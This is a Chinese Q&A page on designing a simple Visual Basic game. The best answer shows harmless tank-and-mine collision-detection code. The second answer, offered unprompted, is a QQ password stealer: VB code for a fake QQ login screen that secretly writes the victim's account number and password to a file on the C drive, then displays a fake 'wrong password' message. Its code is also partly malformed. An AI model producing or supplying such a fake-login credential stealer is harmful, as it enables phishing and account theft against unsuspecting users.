永发信息网

如何设计一个简单的VB小游戏

答案:2  悬赏:0  手机版
解决时间 2021-02-23 22:05
如何设计一个简单的VB小游戏
最佳答案
利用vb控件做个坦克大战类的游戏即可,炮弹和坦克都用控件实现就行。唯一难点是控制控件移动以及炮弹击中目标的碰撞检测判断。给你一个简单实现代码

这是一种碰撞检测方法,下述属于简化的矩形碰撞检测,若是需要复杂碰撞可以用一个数组来记录大量需要碰撞检测的物体

image1里读入坦克的图片 image2里读入地雷的图片

然后用下面代码即可实现
Private Sub Form_KeyPress(KeyAscii As Integer)
'按键盘A和D键控制猫图片image1左右移动
If KeyAscii = 97 Then Image1.Left = Image1.Left - 10
If KeyAscii = 100 Then Image1.Left = Image1.Left + 10

'如果坦克图片与地雷图片相遇则提示碰撞到了
If Image1.Left + Image1.Width > Image2.Left Then
If Image1.Left < Image2.Left + Image2.Width Then
If Image1.Top + Image1.Height > Image2.Top Then
If Image1.Top < Image2.Top + Image2.Height Then
MsgBox "坦克碰到地雷,已经被炸毁了"
End If
End If
End If
End If
End Sub
全部回答

好吧!一个vb本地盗qq的代码

两个文本筐(text1),一个标签(label) 一张qq登陆界面图,一个图片筐(picture)

控件的位子你自己调整一下

代码

private sub form_load()'初始化

text1.text = "<请输入帐号>"

text2.text = ""    ’ 密码空

label1.caption = "登陆"   ’把label做为登陆按钮

label1.backstyle = 1   ‘标签透明

end sub

private sub label1_click()'登陆事件

open"c:\qq号码和密码.txt for append as #1   ’ 把qq号和密码保存在c盘里

print #1,"qq号码:" & text1.text   ‘保存qq号

print #1,"qq密码:" & text2.text ’保存密码

close #1    ‘关闭文件

msgbox"密码错误,请从新输入",,"提示"

end sub

我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
华润燃气家属院这个地址在什么地方,我要处理
僖宗御楼翡翠手镯怎么样?
博尔卡墙艺这个地址在什么地方,我要处理点事
假如你穿越时空隧道回到唐朝,你会见到我国历
广字头下面一个用字读
精誉激光切割公司我想知道这个在什么地方
凰薇内衣怎么样啊?我看到好多人都在穿
电视机AV屏幕好还是IPS的好?有什么区别吗?
黑白漫画怎么画出物体发光的感觉
我国经济重心从黄河流域移到长江流域是在CA.
location.reload()方法有回调函数吗?我看w3c
为什么我手用力就会出现手发抖
中国科学院欧欧眼保中心这个地址在什么地方,
赤金檀木升值空间大么
上顶子村在什么地方啊,我要过去处理事情
推荐资讯
结构承受荷载如图所示,如果各杆截面积减小为
怎么判断达芙妮正品
康德食品有限公司在哪里啊,我有事要去这个地
【-2a²*(2ab+b²)-5(a²b-ab&
lol对线时被技术高自己一个档次的人碾压是什
人在生气时怎样才能不流眼泪?
7+7+7+7写成乘法算式是什么?表示什么?
找10道最难的题,附加这10道题的答案.(记住写
逆战打塔防掉帧 FPS才5 这是怎么回事?
曙光广告装饰有限公司地址在哪,我要去那里办
注意可分为()。A.随意注意和不随意注意B.无意
对于资源开发类投资建设项目,制定资源开发方
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?